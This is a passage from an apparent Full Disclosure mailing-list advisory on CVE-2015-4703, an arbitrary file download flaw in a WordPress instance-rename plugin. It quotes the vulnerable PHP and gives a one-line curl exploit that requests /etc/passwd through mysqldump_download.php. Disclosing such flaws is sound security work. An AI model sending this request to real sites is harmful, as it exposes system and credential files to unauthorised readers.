"_" . date("Y-m-d"); $zipfname = $backup_folder.$name.".zip"; $zip = new ZipArchive(); if($zip->open($zipfname,ZIPARCHIVE::CREATE)) { $zip->addFile($dumpfname,$dumpfname); $zip->close(); } // read zip file and send it to standard output if (file_exists($zipfname)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename='.basename($zipfname)); flush(); readfile($zipfname); CVEID: 2015-4703 OSVDB: Exploit Code: • curl --data "dbname=wp&dumpfname=/etc/passwd&backup_folder=." http://www.example.com/wp-instance-rename/mysqldump_download.php -o p.zip _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
